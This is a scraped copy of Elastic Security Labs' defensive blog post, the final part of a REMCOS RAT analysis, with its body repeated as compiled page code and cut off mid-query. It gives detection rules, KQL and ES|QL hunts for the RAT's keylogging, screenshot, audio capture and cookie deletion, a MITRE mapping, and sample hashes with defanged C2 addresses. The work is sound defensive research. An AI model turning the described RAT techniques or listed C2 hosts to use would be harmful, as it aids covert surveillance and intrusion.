_=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four","slug":"dissecting-remcos-rat-part-four","date":"2024-05-10","description":"In previous articles in this multipart series, malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.","image":"Security Labs Images 18.jpg","subtitle":"Part four: Detections, hunts using ES|QL, and conclusion","tags":["malware-analysis","remcos"],"body":{"raw":"\n# Detections, hunts using ES|QL, and conclusion\n\nIn previous articles in this multipart series [[1](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one)] [[2](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two)] [[3](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-three)], malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you’ll learn more about detecting and hunting REMCOS using Elastic technologies.\n\n## Detection and Hunt\n\nThe following [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) detections trigger on those techniques:\n\n**Persistence (Run key)** \n* [Startup Persistence by a Low Reputation Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_startup_persistence_by_a_low_reputation_process.toml) \n\n**Process Injection** \n* [Windows.Trojan.Remcos](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar), [shellcode_thread](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection) (triggers multiple times on both watchdog and main REMCOS injected processes)\n* [Potential Masquerading as SVCHOST](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml) (REMCOS watchdog default to an injected svchost.exe child instance)\n* [Remote Process Injection via Mapping](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml) (triggers on both watchdog and injecting C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe) \n\n**Privilege Escalation (UAC Bypass)** \n* [UAC Bypass via ICMLuaUtil Elevated COM Interface](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_uac_bypass_via_icmluautil_elevated_com_interface.toml)\n\n**Evasion (Disable UAC)** \n* [Disabling User Account Control via Registry Modification](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_disable_uac_registry.toml) (REMCOS spawns cmd.exe that uses reg.exe to disable UAC via registry modification)\n\n**Command and Control** \n* [Connection to Dynamic DNS Provider by an Unsigned Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml) (although it’s not a requirement but most of the observed samples use dynamic DNS)\n\n**File Deletion** \n* [Remcos RAT INETCookies File Deletion](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_inetcookies_file_deletion.toml)\n\n**Modify Registry** \n* [Remcos RAT ExePath Registry Modification](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_exepath_registry_modification.toml)\n\nThe ExePath registry value used by the REMCOS watchdog process can be used as an indicator of compromise. Below is a KQL query example :\n\n```\nevent.category:\"registry\" and event.action:\"modification\" and \nregistry.value:\"EXEpath\" and not process.code_signature.trusted:true\n```\n\n![](/assets/images/dissecting-remcos-rat-part-four/image1.png \"image_tooltip\")\n\nREMCOS includes three options for clearing browser data, possibly in an attempt to force victim users to re-enter their web credentials for keylogging:\n\n* `enable_browser_cleaning_on_startup_flag`\n* `enable_browser_cleaning_only_for_the_first_run_flag`\n* `browser_cleaning_sleep_time_in_minutes`\n\nThis results in the deletion of browser cookies and history-related files. The following KQL query can be used to hunt for such behavior by an unsigned process:\n\n```\nevent.category:file and event.action:deletion and file.name:container.dat and \nfile.path:*INetCookies* and not process.code_signature.trusted:true\n```\n\n![](/assets/images/dissecting-remcos-rat-part-four/image3.png \"image_tooltip\")\n\nREMCOS also employs three main information collection methods. The first one is keylogging via [SetWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) API. The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) can be used to hunt for rare or unusual processes performing this behavior: \n\n```\nfrom logs-endpoint.events.api*\n\n/* keylogging can be done by calling SetwindowsHook to hook keyboard events */\n\n| where event.category == \"api\" and process.Ext.api.name == \"SetWindowsHookEx\" and process.Ext.api.parameters.hook_type like \"WH_KEYBOARD*\"\n\n/* normalize process paths to ease aggregation by process path */\n\n| eval process_path = replace(process.executable, \"\"\"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-\\_]{3,})\"\"\", \"\")\n| eval process_path = replace(process_path, \"\"\"[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-\\_\\$~]+\\\\\"\"\", \"C:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n\n/* limit results to those that are unique to a host across the agents fleet */\n\n| stats occurrences = count(*), agents = count_distinct(host.id) by process_path\n| where occurrences == 1 and agents == 1\n```\n\nBelow is an example of matches on `iexplore.exe` (injected by REMCOS): \n\n![ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events](/assets/images/dissecting-remcos-rat-part-four/image5.png \"ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events\")\n\n\nThe second method takes multiple screenshots and saves them as jpg files with a specific naming pattern starting with `time_year-month-day_hour-min-sec.jpb` (e.g. `time_20240308_171037.jpg`). The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can be used to identify suspicious processes with similar behavior :\n\n```\nfrom logs-endpoint.events.file*\n\n/* remcos screenshots naming pattern */\n\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension == \"jpg\" and file.name rlike \"\"\"time_202\\d{5}_\\d{6}.jpg\"\"\"\n| stats occurrences = count(*), agents = count_distinct(host.id) by process.name, process.entity_id \n \n /* number of screenshots i more than 5 by same process.pid and this behavior is limited to a unique host/process */\n\n| where occurrences \u003e= 5 and agents == 1\n```\n\nThe following image shows both REMCOS and the injected iexplore.exe instance (further investigation can be done by pivoting by the [process.entity_id](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id)): \n\n![ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior](/assets/images/dissecting-remcos-rat-part-four/image6.png \"ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior\")\n\n\nThe third collection method is an audio recording saved as WAV files. The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can be used to find rare processes dropping WAV files:\n\n```\nfrom logs-endpoint.events.file*\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension == \"wav\"\n\n/* normalize process paths to ease aggregation by process path */\n\n| eval process_path = replace(process.executable, \"\"\"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-\\_]{3,})\"\"\", \"\")\n| eval process_path = replace(process_path, \"\"\"[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-\\_\\$~]+\\\\\"\"\", \"C:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n| stats wav_files_count = count(*), agents = count_distinct(host.id) by process_path\n\n/* limit results to unique process observed in 1 agent and number of dropped wav files is less than 20 */\n\n| where agents == 1 and wav_files_count \u003c= 10\n```\n\n![ES|QL hunt for rare processes creating WAV files](/assets/images/dissecting-remcos-rat-part-four/image2.png \"ES|QL hunt for rare processes creating WAV files\")\n\n\nThe following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can also look for processes that drop both JPG and WAV files using the same `process.pid` : \n\n```\nfrom logs-endpoint.events.file*\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension in (\"wav\", \"jpg\") and \n\n/* excluding privileged processes and limiting the hunt to unsigned \nprocess or signed by untrusted certificate or signed by Microsoft */\n\nnot user.id in (\"S-1-5-18\", \"S-1-5-19\", \"S-1-5-20\") and (process.code_signature.trusted == false or process.code_signature.exists == false or starts_with(process.code_signature.subject_name, \"Microsoft\")) \n| eval wav_pids = case(file.extension == \"wav\", process.entity_id, null), jpg_pids = case(file.extension == \"jpg\", process.entity_id, null), others = case(file.extension != \"wav\" and file.extension != \"jpg\", process.entity_id, null)\n\n/* number of jpg and wav files created by unique process identifier */\n\n| stats count_wav_files = count(wav_pids), count_jpg_files = count(jpg_pids), other_files = count(others) by process.entity_id, process.name\n\n/* limit results to same process dropping both file extensions */\n\n| where count_jpg_files \u003e= 1 and count_wav_files \u003e= 1\n```\n\nExamples of matches on both REMCOS and the injected `iexplore.exe` process:\n\n![ES|QL hunts for unique processes dropping image and audio files](/assets/images/dissecting-remcos-rat-part-four/image4.png \"ES|QL hunts for unique processes dropping image and audio files\")\n\n\nPivoting by [process.entity_id](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id) to further investigate suspicious processes, installers, browsers, and decompression utilities are often the most observed false positives.\n\n## YARA rule\n\nThe REMCOS version 4.9.3 is detected statically using the following [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar) produced by Elastic Security Labs\n\n## Malware and MITRE ATT\u0026CK\n\nElastic uses the[ MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the _why_ of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n* [Execution](https://attack.mitre.org/tactics/TA0002/)\n* [Persistence](https://attack.mitre.org/tactics/TA0003)\n* [Privilege Escalation](https://attack.mitre.org/tactics/TA0004)\n* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n* [Credential Access](https://attack.mitre.org/tactics/TA0006)\n* [Discovery](https://attack.mitre.org/tactics/TA0007)\n* [Command and Control](https://attack.mitre.org/tactics/TA0011)\n\n### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n\n* [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)\n* [Visual Basic](https://attack.mitre.org/techniques/T1059/005) \n* [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)\n* [Process Injection](https://attack.mitre.org/techniques/T1055) \n* [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003) \n* [Encrypted Channel](https://attack.mitre.org/techniques/T1573)\n* [System Binary Proxy Execution: CMSTP](https://attack.mitre.org/techniques/T1218/003/)\n* [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002/)\n\n## Conclusion\n\nAs the REMCOS continues to rapidly evolve, our in-depth analysis of version 4.9.3 offers critical insights that can significantly aid the malware research community in comprehending and combatting this pervasive threat.\n\nBy uncovering its features and capabilities in this series, we provide essential information that enhances understanding and strengthens defenses against this malicious software. \n\nWe've also shown that our Elastic Defend product can detect and stop the REMCOS threat. As this article demonstrates, our new query language, ES|QL, makes hunting for threats simple and effective.\n\nElastic Security Labs remains committed to this endeavor as part of our open-source philosophy, which is dedicated to sharing knowledge and collaborating with the broader cybersecurity community. Moving forward, we will persist in analyzing similar malware families, contributing valuable insights to bolster collective defense against emerging cyber threats.\n\n## Sample hashes and C2s\n\n(Analysis reference) **0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5**\n\nremchukwugixiemu4.duckdns[.]org:57844\n\nremchukwugixiemu4.duckdns[.]org:57846\n\nremchukwugix231fgh.duckdns[.]org:57844\n\nremchukwugix231fgh.duckdns[.]org:57846\n\n**3e32447ea3b5f07c7f6a180269f5443378acb32c5d0e0bf01a5e39264f691587**\n\n122.176.133[.]66:2404\n\n122.176.133[.]66:2667\n\n**8c9202885700b55d73f2a76fbf96c1b8590d28b061efbadf9826cdd0e51b9f26**\n\n43.230.202[.]33:7056\n\n**95dfdb588c7018babd55642c48f6bed1c281cecccbd522dd40b8bea663686f30**\n\n107.175.229[.]139:8087\n\n**517f65402d3cf185037b858a5cfe274ca30090550caa39e7a3b75be24e18e179**\n\nmoney001.duckdns[.]org:9596\n\n**b1a149e11e9c85dd70056d62b98b369f0776e11b1983aed28c78c7d5189cfdbf**\n\n104.250.180[.]178:7902\n\n**ba6ee802d60277f655b3c8d0215a2abd73d901a34e3c97741bc377199e3a8670**\n\n185.70.104[.]90:2404\n\n185.70.104[.]90:8080\n\n185.70.104[.]90:465\n\n185.70.104[.]90:80\n\n77.105.132[.]70:80\n\n77.105.132[.]70:8080\n\n77.105.132[.]70:2404\n\n77.105.132[.]70:465\n\n## Research references\n\n* [https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing)\n* [https://www.jaiminton.com/reverse-engineering/remcos](https://www.jaiminton.com/reverse-engineering/remcos)\n* [https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf](https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf)","code":"var Component=(()=\u003e{var d=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var m=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var i in e)s(t,i,{get:e[i],enumerable:!0})},a=(t,e,i,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of u(e))!f.call(t,r)\u0026\u0026r!==i\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(o=p(e,r))||o.enumerable});return t};var b=(t,e,i)=\u003e(i=t!=null?d(g(t)):{},a(e||!t||!t.__esModule?s(i,\"default\",{value:t,enumerable:!0}):i,t)),_=t=\u003ea(s({},\"__esModule\",{value:!0}),t);var l=m((C,c)=\u003e{c.exports=_jsx_runtime});var S={};w(S,{default:()=\u003eE,frontmatter:()=\u003ey});var n=b(l()),y={title:\"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Four\",slug:\"dissecting-remcos-rat-part-four\",date:\"2024-05-10\",subtitle:\"Part four: Detections, hunts using ES|QL, and conclusion\",description:\"In previous articles in this multipart series, malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you\\u2019ll learn more about detecting and hunting REMCOS using Elastic technologies.\",author:[{slug:\"cyril-francois\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 18.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware-analysis\",\"remcos\"]};function h(t){let e=Object.assign({h1:\"h1\",p:\"p\",a:\"a\",h2:\"h2\",strong:\"strong\",ul:\"ul\",li:\"li\",pre:\"pre\",code:\"code\",img:\"img\",h3:\"h3\",em:\"em\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h1,{id:\"detections-hunts-using-esql-and-conclusion\",children:\"Detections, hunts using ES|QL, and conclusion\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"In previous articles in this multipart series [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one\",rel:\"nofollow\",children:\"1\"}),\"] [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two\",rel:\"nofollow\",children:\"2\"}),\"] [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-three\",rel:\"nofollow\",children:\"3\"}),\"], malware researchers on the Elastic Security Labs team decomposed the REMCOS configuration structure and gave details about its C2 commands. In this final part, you\\u2019ll learn more about detecting and hunting REMCOS using Elastic technologies.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"detection-and-hunt\",children:\"Detection and Hunt\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following \",(0,n.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/endpoint\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" detections trigger on those techniques:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Persistence (Run key)\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_startup_persistence_by_a_low_reputation_process.toml\",rel:\"nofollow\",children:\"Startup Persistence by a Low Reputation Process\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Process Injection\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Remcos\"}),\", \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection\",rel:\"nofollow\",children:\"shellcode_thread\"}),\" (triggers multiple times on both watchdog and main REMCOS injected processes)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml\",rel:\"nofollow\",children:\"Potential Masquerading as SVCHOST\"}),\" (REMCOS watchdog default to an injected svchost.exe child instance)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml\",rel:\"nofollow\",children:\"Remote Process Injection via Mapping\"}),\" (triggers on both watchdog and injecting C:\\\\Program Files (x86)\\\\Internet Explorer\\\\iexplore.exe)\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Privilege Escalation (UAC Bypass)\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_uac_bypass_via_icmluautil_elevated_com_interface.toml\",rel:\"nofollow\",children:\"UAC Bypass via ICMLuaUtil Elevated COM Interface\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Evasion (Disable UAC)\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_disable_uac_registry.toml\",rel:\"nofollow\",children:\"Disabling User Account Control via Registry Modification\"}),\" (REMCOS spawns cmd.exe that uses reg.exe to disable UAC via registry modification)\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Command and Control\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml\",rel:\"nofollow\",children:\"Connection to Dynamic DNS Provider by an Unsigned Binary\"}),\" (although it\\u2019s not a requirement but most of the observed samples use dynamic DNS)\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"File Deletion\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_inetcookies_file_deletion.toml\",rel:\"nofollow\",children:\"Remcos RAT INETCookies File Deletion\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Modify Registry\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_exepath_registry_modification.toml\",rel:\"nofollow\",children:\"Remcos RAT ExePath Registry Modification\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The ExePath registry value used by the REMCOS watchdog process can be used as an indicator of compromise. Below is a KQL query example :\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`event.category:\"registry\" and event.action:\"modification\" and \nregistry.value:\"EXEpath\" and not process.code_signature.trusted:true\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image1.png\",alt:\"\",title:\"image_tooltip\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsx)(e.p,{children:\"REMCOS includes three options for clearing browser data, possibly in an attempt to force victim users to re-enter their web credentials for keylogging:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"enable_browser_cleaning_on_startup_flag\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"enable_browser_cleaning_only_for_the_first_run_flag\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"browser_cleaning_sleep_time_in_minutes\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"This results in the deletion of browser cookies and history-related files. The following KQL query can be used to hunt for such behavior by an unsigned process:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`event.category:file and event.action:deletion and file.name:container.dat and \nfile.path:*INetCookies* and not process.code_signature.trusted:true\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image3.png\",alt:\"\",title:\"image_tooltip\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"REMCOS also employs three main information collection methods. The first one is keylogging via \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa\",rel:\"nofollow\",children:\"SetWindowsHookEx\"}),\" API. The following \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" can be used to hunt for rare or unusual processes performing this behavior:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from logs-endpoint.events.api*\n\n/* keylogging can be done by calling SetwindowsHook to hook keyboard events */\n\n| where event.category == \"api\" and process.Ext.api.name == \"SetWindowsHookEx\" and process.Ext.api.parameters.hook_type like \"WH_KEYBOARD*\"\n\n/* normalize process paths to ease aggregation by process path */\n\n| eval process_path = replace(process.executable, \"\"\"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\\\.tmp|DX[A-Z0-9]{3,4}\\\\.tmp|7z[A-Z0-9]{3,5}\\\\.tmp|[0-9\\\\.\\\\-\\\\_]{3,})\"\"\", \"\")\n| eval process_path = replace(process_path, \"\"\"[cC]:\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\[a-zA-Z0-9\\\\.\\\\-\\\\_\\\\$~]+\\\\\\\\\"\"\", \"C:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n\n/* limit results to those that are unique to a host across the agents fleet */\n\n| stats occurrences = count(*), agents = count_distinct(host.id) by process_path\n| where occurrences == 1 and agents == 1\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Below is an example of matches on \",(0,n.jsx)(e.code,{children:\"iexplore.exe\"}),\" (injected by REMCOS):\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image5.png\",alt:\"ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events\",title:\"ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The second method takes multiple screenshots and saves them as jpg files with a specific naming pattern starting with \",(0,n.jsx)(e.code,{children:\"time_year-month-day_hour-min-sec.jpb\"}),\" (e.g. \",(0,n.jsx)(e.code,{children:\"time_20240308_171037.jpg\"}),\"). The following \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" hunt can be used to identify suspicious processes with similar behavior :\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from logs-endpoint.events.file*\n\n/* remcos screenshots naming pattern */\n\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension == \"jpg\" and file.name rlike \"\"\"time_202\\\\d{5}_\\\\d{6}.jpg\"\"\"\n| stats occurrences = count(*), agents = count_distinct(host.id) by process.name, process.entity_id \n \n /* number of screenshots i more than 5 by same process.pid and this behavior is limited to a unique host/process */\n\n| where occurrences \u003e= 5 and agents == 1\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following image shows both REMCOS and the injected iexplore.exe instance (further investigation can be done by pivoting by the \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id\",rel:\"nofollow\",children:\"process.entity_id\"}),\"):\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-four/image6.png\",alt:\"ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior\",title:\"ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior\",width:\"1440\",height:\"721\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The third collection method is an audio recording saved as WAV files. The following \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html\",rel:\"nofollow\",children:\"ES|QL\"}),\" hunt can be used to find rare processes dropping WAV files:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from logs-endpoint.events.file*\n| where event.category == \"file\" and host.os.family == \"windows\" and event.action == \"creation\" and file.extension == \"wav\"\n\n/* normalize process paths to ease aggregation by process path */\n\n| eval process_path = replace(process.executable, \"\"\"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\\\.tmp|DX[A-Z0-9]{3,4}\\\\.tmp|7z[A-Z0-9]{3,5}\\\\.tmp|[0-9\\\\.\\\\-\\\\_]{3,})\"\"\", \"\")\n| eval process_path = replace(process_path, \"\"\"[cC]:\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\[a-zA-Z0-9\\\\.\\\\-\\\\_\\\\$~]+\\\\\\\\\"\"\", \"C:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n| stats wav_files_count = count(*), agents = count_distinct(host.id) by process_path\n\n/* limit results to unique process observed in 1 agent and number of dropped wav files is less than 20 */\n\n| where agents == 1 and wav_files_count \u003c= 